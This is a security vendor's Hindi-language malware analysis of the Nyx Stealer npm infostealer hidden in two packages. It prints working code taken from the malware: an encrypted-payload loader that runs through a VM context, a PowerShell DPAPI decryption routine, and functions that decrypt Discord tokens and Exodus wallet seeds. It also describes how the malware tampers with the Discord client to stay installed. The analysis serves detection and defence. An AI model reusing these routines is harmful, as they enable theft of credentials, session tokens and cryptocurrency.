एनपीएम इन्फोस्टीलर

एनपीएम इन्फोस्टीलर की नई खोज: न्यक्स स्टीलर डिस्कॉर्ड सेशन को हाईजैक कर रहा है

विषय - सूची

अवश्य पढ़ें पोस्ट

रुचि के नवीनतम पोस्ट

TL, डॉ

ज़ाइगेनी सुरक्षा अनुसंधान टीम दो दुर्भावनापूर्ण पैकेजों के माध्यम से संचालित एक परिष्कृत एनपीएम इन्फोस्टीलर अभियान की पहचान की गई: कंसोलोफी और सेल्फबॉट-लोफी.

नवीनतम संस्करण (consolelofy@1.3.0) इसमें 216KB का AES-एन्क्रिप्टेड पेलोड शामिल है जो रनटाइम पर डिक्रिप्ट होता है और इसके माध्यम से निष्पादित होता है। vm.runInNewContext()क्योंकि दुर्भावनापूर्ण तर्क पूरी तरह से एन्क्रिप्टेड है, इसलिए स्ट्रिंग निरीक्षण पर निर्भर स्थिर स्कैनर निष्पादन समय तक इसके व्यवहार का निरीक्षण नहीं कर सकते हैं।

एक बार डिक्रिप्ट हो जाने पर, पेलोड, आंतरिक रूप से ब्रांडेड निक्स स्टीलर, लक्ष्य:

  • डिस्कॉर्ड प्रमाणीकरण टोकन
  • 50+ ब्राउज़र क्रेडेंशियल स्टोर
  • 90+ क्रिप्टोकरेंसी वॉलेट एक्सटेंशन
  • Roblox, Instagram, Spotify, Steam, Telegram और TikTok सेशन
  • डिस्कोर्ड डेस्कटॉप क्लाइंट निरंतरता

दोनों पैकेजों के सभी 20 संस्करणों को दुर्भावनापूर्ण बताया गया और उनकी पुष्टि की गई।

इस npm Infostealer का तकनीकी अवलोकन

परंपरागत इंस्टाल-टाइम मैलवेयर के विपरीत, यह अभियान एक पर निर्भर करता है क्रम डिक्रिप्शन मॉडल.

वहां:

  • कोई दुर्भावनापूर्ण नहीं preinstall or postinstall hooks
  • इंस्टॉलेशन के दौरान कोई स्पष्ट नेटवर्क कॉल नहीं।
  • प्लेनटेक्स्ट क्रेडेंशियल हार्वेस्टिंग लॉजिक का कोई उपयोग नहीं।

मॉड्यूल को इम्पोर्ट करते ही पेलोड सक्रिय हो जाता है। संपूर्ण दुर्भावनापूर्ण सामग्री एन्क्रिप्टेड होती है और रनटाइम पर ही मेमोरी में दिखाई देती है।

यह डिजाइन विशेष रूप से पैकेज इंस्टॉलेशन के दौरान पता लगने से बचाता है।

यह npm Infostealer वास्तव में कैसे चलता है

Nyx Stealer क्या चुराता है, इसका विश्लेषण करने से पहले, हमें यह समझना होगा। यह कैसे निष्पादित होता है.

इस npm इंफोस्टीलर के अंदर मौजूद दुर्भावनापूर्ण तर्क एक सुसंगत पैटर्न का अनुसरण करता है:

एक छोटा लोडर एक बड़े एन्क्रिप्टेड पेलोड को डिक्रिप्ट करता है और इसे नोड.जेएस वीएम संदर्भ के भीतर गतिशील रूप से निष्पादित करता है।

यह डिज़ाइन जानबूझकर किया गया है। हमलावर केवल अस्पष्टीकरण के पीछे कार्यक्षमता को नहीं छिपा रहे हैं, वे दुर्भावनापूर्ण कोड को स्थिर दृश्यता से पूरी तरह हटाना.

उच्च-स्तरीय निष्पादन मॉडल

मोटे तौर पर, रैपर चार काम करता है:

  • यह हार्डकोडेड पासफ़्रेज़ से SHA-256 का उपयोग करके AES कुंजी प्राप्त करता है।
  • AES-256-CBC का उपयोग करके एक बड़े हेक्साडेसिमल-एनकोडेड सिफरटेक्स्ट को डिक्रिप्ट करता है।
  • डिक्रिप्ट किए गए जावास्क्रिप्ट को निष्पादित करता है vm.runInNewContext()
  • यह एक सैंडबॉक्स प्रदान करता है जो अभी भी शक्तिशाली रनटाइम प्रिमिटिव्स को उजागर करता है।

मुख्य तकनीक सारांश

घटक विन्यास / मान
कलन विधि एईएस सीबीसी-256
कुंजी व्युत्पत्ति SHA-256 (पासफ़्रेज़)
आरंभिकरण सदिश (IV) 0x00 के 16 बाइट्स
निष्पादन vm.runInNewContext(डिक्रिप्टेड, सैंडबॉक्स)

महत्वपूर्ण बात यह है कि सैंडबॉक्स इससे होकर गुजरता है:

  • require
  • process
  • Buffer
  • टाइमर
  • मॉड्यूल निर्यात

इसका अर्थ है कि डिक्रिप्टेड पेलोड में निम्नलिखित पूर्ण क्षमताएं बरकरार रहती हैं:

  • स्पॉन प्रक्रियाएँ
  • फ़ाइलें पढ़ें और लिखें
  • नेटवर्क कॉल करें
  • स्थानीय अनुप्रयोगों को संशोधित करें

यह कोई प्रतिबंधित वर्चुअल मशीन नहीं है। यह एक ऐसी वर्चुअल मशीन है जिसका उपयोग निष्पादन ट्रैम्पोलिन के रूप में किया जाता है।

रनटाइम एन्क्रिप्शन पैटर्न (कोर निष्पादन तंत्र)

लोडर छोटा है।
दुर्भावनापूर्ण निकाय ऐसा नहीं है।

नीचे पैकेज के अंदर पाया जाने वाला निष्पादन पैटर्न दिया गया है:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

क्यों इस मामले

डिक्रिप्ट किया गया पेलोड:

  • क्या नहीं npm पैकेज के अंदर प्लेनटेक्स्ट में मौजूद है
  • सरल के लिए अदृश्य है grep या स्थिर स्ट्रिंग स्कैनिंग
  • यह केवल रनटाइम पर ही मेमोरी में प्रकट होता है।
  • यह नोड रनटाइम की सभी क्षमताओं के साथ चलता है।

AES + VM निष्पादन का यह संयोजन एक मजबूत व्यवहारिक संकेतक है। npm infostealer स्थैतिक निरीक्षण से बचने का प्रयास कर रहा है.

दूसरे शब्दों में:

यदि आप पैकेज सोर्स ट्री को स्कैन करते हैं, तो आपको कोई स्टीलर नहीं दिखाई देता है।
आपको एक डिक्रिप्टर दिखाई देता है।

डिक्रिप्शन के बाद क्या होता है?

एक बार क्रियान्वित हो जाने पर, Nyx Stealer समानांतर डेटा संग्रह तरंगें शुरू करता है।

चरण 1: ब्राउज़र क्रेडेंशियल निष्कर्षण

मैलवेयर:

  • NuGet CDN से Python रनटाइम डाउनलोड करता है
  • क्रिप्टोग्राफिक लाइब्रेरी स्थापित करता है
  • क्रोमियम-आधारित क्रेडेंशियल स्टोर से अंश निकालता है
  • DPAPI द्वारा संरक्षित गुप्त रहस्यों को डिक्रिप्ट करता है

नेटिव बाइंडिंग को कंपाइल करने के बजाय, यह विंडोज डीपीएपीआई को सीधे कॉल करने के लिए पॉवरशेल का उपयोग करता है।

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

यह पहुच:

  • संकलन संबंधी त्रुटियों से बचा जाता है
  • यह नेटिव विंडोज क्रिप्टो एपीआई का उपयोग करता है।
  • प्रशासनिक उपकरणों में एकीकृत हो जाता है

यह ऑपरेटिंग सिस्टम स्तर का क्रेडेंशियल डिक्रिप्शन है, स्क्रैपिंग नहीं।

चरण 2: डिस्कॉर्ड टोकन डिक्रिप्शन

यह टूल प्रोटोकॉल से अवगत है। यह डिस्कॉर्ड के एन्क्रिप्टेड टोकन फॉर्मेट को समझता है।

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

परिचालन प्रवाह:

  • डिस्कॉर्ड से मास्टर कुंजी निकालें Local State
  • डीपीएपी के माध्यम से मास्टर कुंजी को डिक्रिप्ट करें
  • AES-GCM टोकन ब्लॉब्स को डिक्रिप्ट करें
  • Discord API के विरुद्ध टोकन को सत्यापित करें
  • नाइट्रो, बैज और बिलिंग संबंधी जानकारी से इसे और भी बेहतर बनाएं

यह सामान्य क्रेडेंशियल डंपिंग नहीं है। यह प्रोटोकॉल-जागरूक सेशन हाइजैकिंग है।

तीसरा चरण: क्रिप्टोकरेंसी वॉलेट को लक्षित करना

npm infostealer निम्नलिखित को सूचीबद्ध करता है:

  • 90+ ब्राउज़र वॉलेट एक्सटेंशन
  • 27 डेस्कटॉप वॉलेट
  • ठंडे बटुए के रास्ते
  • एक्सोडस सीड फ़ाइलें

सीड डिक्रिप्शन प्रयास का उदाहरण:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

यदि यह सफल हो जाता है, तो वॉलेट से छेड़छाड़ तत्काल और अपरिवर्तनीय हो जाती है।

यह अभियान के सबसे अधिक मूल्य वाले मुद्रीकरण कारक का प्रतिनिधित्व करता है।

डिस्कॉर्ड डेस्कटॉप इंजेक्शन के माध्यम से निरंतरता

क्रेडेंशियल्स हासिल करने के बाद, Nyx Stealer स्थानीय नेटवर्क को संशोधित करके निरंतरता बनाए रखने का प्रयास करता है। Discord ग्राहक।

लक्ष्य:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

परिचालन अनुक्रम

सूचना चुराने वाला निम्नलिखित चरणों को पूरा करता है:

  • चल रही डिस्कॉर्ड प्रक्रियाओं को समाप्त करता है
  • स्थापित डिस्कॉर्ड संस्करणों (स्टेबल, कैनरी, पीटीबी) का पता लगाता है
  • अधिलेखित कर देता है discord_desktop_core/index.js
  • हमलावर द्वारा नियंत्रित वेबहुक लॉजिक को इंजेक्ट करता है
  • डिस्कॉर्ड को पुनः आरंभ करता है

इससे यह सुनिश्चित होता है कि भविष्य के डिस्कोर्ड सत्रों में नए प्रमाणीकरण टोकन स्वचालित रूप से लीक हो जाएंगे।

महत्वपूर्ण बात यह है कि यह निरंतरता निर्धारित कार्यों या रजिस्ट्री संशोधनों पर निर्भर नहीं करती है। यह एप्लिकेशन-स्तर के कोड संशोधन का लाभ उठाती है, जो एक अधिक गुप्त दृष्टिकोण है।

यदि बाद में दुर्भावनापूर्ण npm पैकेज को हटा भी दिया जाता है, तब भी Discord क्लाइंट असुरक्षित बना रहता है।

तकनीकी तुलना: लेजिटिमेट सेल्फबॉट बनाम एनपीएम इंफोस्टीलर

घटक वैध पुस्तकालय Nyx npm Infostealer
कूटलेखन कोई नहीं पूर्ण एईएस-एन्क्रिप्टेड पेलोड
रनटाइम वीएम आवश्यक नहीं vm.runInNewContext निष्पादन
क्रेडेंशियल एक्सेस केवल Discord API ब्राउज़र, वॉलेट, डीपीएपी
बाह्य डाउनलोड नहीं NuGet के माध्यम से पायथन रनटाइम
हठ नहीं डिस्कोर्ड क्लाइंट इंजेक्शन
मुद्रीकरण बॉट स्वचालन प्रमाण पत्र का पुनर्विक्रय

केवल एन्क्रिप्शन लेयर ही इस अभियान को एक सामान्य ओपन-सोर्स फोर्क से अलग करती है।

एक वैध डिस्कोर्ड सेल्फबॉट को अपने पूरे कोडबेस को एन्क्रिप्ट करने, डीपीएपी तक पहुँचने के लिए पॉवरशेल चलाने, बाहरी रनटाइम डाउनलोड करने या डेस्कटॉप एप्लिकेशन के आंतरिक भाग को संशोधित करने का कोई कारण नहीं है। जब ये क्षमताएँ किसी ऐसी निर्भरता में दिखाई देती हैं जो डिस्कोर्ड इंटरैक्शन को स्वचालित करने का दावा करती है, तो आर्किटेक्चरल विसंगति को नज़रअंदाज़ करना असंभव हो जाता है।

जांच के दृष्टिकोण से, यह npm सूचना चुराने वाला उपकरण कई स्तरों पर निशान छोड़ता है। हालांकि, सबसे विश्वसनीय संकेतक हार्डकोडेड यूआरएल या विशिष्ट फ़ाइल पथ नहीं हैं, क्योंकि वे संस्करणों के बीच बदल सकते हैं। इसके बजाय, स्थायी संकेत संरचनात्मक होते हैं।

पैकेज स्तर पर, सबसे बड़ा खतरे का संकेत एक बड़े एन्क्रिप्टेड पेलोड और एक रनटाइम डिक्रिप्शन रैपर का संयोजन है जो तुरंत निष्पादित होता है। vm.runInNewContext()हालांकि अकेले एन्क्रिप्शन अपने आप में दुर्भावनापूर्ण नहीं है, लेकिन डिस्कॉर्ड यूटिलिटी पैकेज के अंदर एईएस डिक्रिप्शन के बाद डायनेमिक वीएम निष्पादन का उपयोग करना अत्यधिक असामान्य है।

होस्ट स्तर पर, संदिग्ध पैटर्न में अप्रत्याशित DPAPI डिक्रिप्शन गतिविधि, Node.js निर्भरता संदर्भ से प्रक्रिया का निर्माण, और स्थानीय एप्लिकेशन फ़ाइलों में संशोधन शामिल हैं जिन्हें तृतीय-पक्ष लाइब्रेरी द्वारा कभी भी बदला नहीं जाना चाहिए। इसी प्रकार, नेटवर्क स्तर पर, विकास निर्भरता द्वारा शुरू किया गया आउटबाउंड वेबहुक-शैली संचार एक और महत्वपूर्ण विसंगति को दर्शाता है।

दूसरे शब्दों में, पहचान का दायरा ही खतरे का एकमात्र संकेतक नहीं है। असल खतरा एन्क्रिप्शन, रनटाइम निष्पादन, क्रेडेंशियल एक्सेस और निरंतरता व्यवहार के सहसंबंध से ही उजागर होता है।

Xygeni के साथ पता लगाना और रोकथाम करना

एनपीएम इन्फोस्टीलर

इस npm इन्फोस्टीलर की पहचान इसके द्वारा की गई थी Xygeni का मैलवेयर अर्ली वार्निंग (MEW) सरल हस्ताक्षर मिलान के बजाय स्तरित व्यवहारिक सहसंबंध के माध्यम से।

ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स की खोज करने के बजाय, MEW पूरे स्रोत ट्री में संरचनात्मक विसंगतियों का मूल्यांकन करता है। इस मामले में, कई संकेतों के अभिसरण से पता चला कि यह समस्या उत्पन्न हुई है: मॉड्यूल एंट्री पॉइंट में एक अंतर्निहित AES डिक्रिप्शन रूटीन, VM संदर्भ के भीतर तत्काल निष्पादन, और क्षमता और आशय में स्पष्ट बेमेल।

महत्वपूर्ण बात यह है कि इनमें से कोई भी संकेत अकेले दुर्भावनापूर्ण इरादे को साबित नहीं करता है। हालांकि, जब इनका एक साथ विश्लेषण किया जाता है, तो ये रनटाइम व्यवहार को छिपाने के प्रयास को उजागर करते हैं। यह स्तरित दृष्टिकोण उच्च-विश्वसनीयता वाले आपूर्ति श्रृंखला खतरों की पहचान करते हुए गलत सकारात्मक परिणामों को काफी हद तक कम करता है।

इसके अलावा, यह मामला दर्शाता है कि केवल इंस्टॉलेशन के समय की जांच ही पर्याप्त नहीं है। दुर्भावनापूर्ण लॉजिक लाइफसाइकिल स्क्रिप्ट में मौजूद नहीं होता। यह मॉड्यूल लोड होने के बाद ही सक्रिय होता है और मेमोरी में डिक्रिप्ट होने के बाद ही दिखाई देता है। इसलिए, प्रभावी सुरक्षा के लिए एन्क्रिप्शन-जागरूक विश्लेषण, व्यवहार पैटर्न की पहचान और इंस्टॉलेशन घटनाओं के अलावा निरंतर निर्भरता निगरानी की आवश्यकता होती है।

रजिस्ट्री को हटाना प्रतिक्रियात्मक है। रनटाइम-जागरूक विश्लेषण निवारक है।

यह npm इंफोस्टीलर क्यों महत्वपूर्ण है?

Nyx Stealer, npm-आधारित मैलवेयर में एक संरचनात्मक विकास का प्रतिनिधित्व करता है।

ऐतिहासिक रूप से, कई दुर्भावनापूर्ण पैकेज इंस्टॉलेशन के समय दिखाई देने वाली स्क्रिप्ट या स्पष्ट क्रेडेंशियल चोरी करने वाले एंडपॉइंट पर निर्भर करते थे। इसके विपरीत, यह अभियान अपने पेलोड को एन्क्रिप्ट करता है, निष्पादन को रनटाइम तक स्थगित करता है, वैध ऑपरेटिंग सिस्टम एपीआई का लाभ उठाता है, और विश्वसनीय अनुप्रयोगों के भीतर निरंतरता स्थापित करता है।

परिणामस्वरूप, हमलावर को npm इंफ्रास्ट्रक्चर का फायदा उठाने की आवश्यकता नहीं होती है। इसके बजाय, हमला इसलिए सफल होता है क्योंकि डिपेंडेंसी इंस्टॉलेशन भरोसे को दर्शाता है। डेवलपर्स यह मान लेते हैं कि किसी लाइब्रेरी को इम्पोर्ट करना एक सुरक्षित प्रक्रिया है, खासकर तब जब वह किसी लोकप्रिय टूल के विश्वसनीय संस्करण के रूप में प्रस्तुत की जाती है।

जैसे-जैसे इकोसिस्टम बढ़ते जा रहे हैं और फ़ोर्क्स की संख्या बढ़ती जा रही है, भरोसे की वह अंतर्निहित सीमा एक आकर्षक आक्रमण सतह बनती जा रही है। इसलिए, आधुनिक npm सूचना चोरों से बचाव के लिए स्थिर स्ट्रिंग्स की खोज करने के बजाय आर्किटेक्चरल पैटर्न को पहचानना आवश्यक है।

अंततः, यह अभियान एक महत्वपूर्ण सबक को पुष्ट करता है। software supply chain securityसबसे खतरनाक खतरे वे नहीं होते जो पहली नजर में दुर्भावनापूर्ण प्रतीत होते हैं, बल्कि वे होते हैं जो संरचनात्मक रूप से वैध प्रतीत होते हैं जब तक कि रनटाइम उनके वास्तविक व्यवहार को प्रकट नहीं कर देता।

एससीए-टूल्स-सॉफ्टवेयर-कंपोजिशन-एनालिसिस-टूल्स
अपने सॉफ़्टवेयर जोखिमों को प्राथमिकता दें, उनका निवारण करें और उन्हें सुरक्षित करें।
अपना निःशुल्क खाता प्राप्त करें।
किसी क्रेडिट कार्ड की आवश्यकता नहीं।

अपने सॉफ़्टवेयर विकास और वितरण को सुरक्षित करें

Xygeni प्रोडक्ट सूट के साथ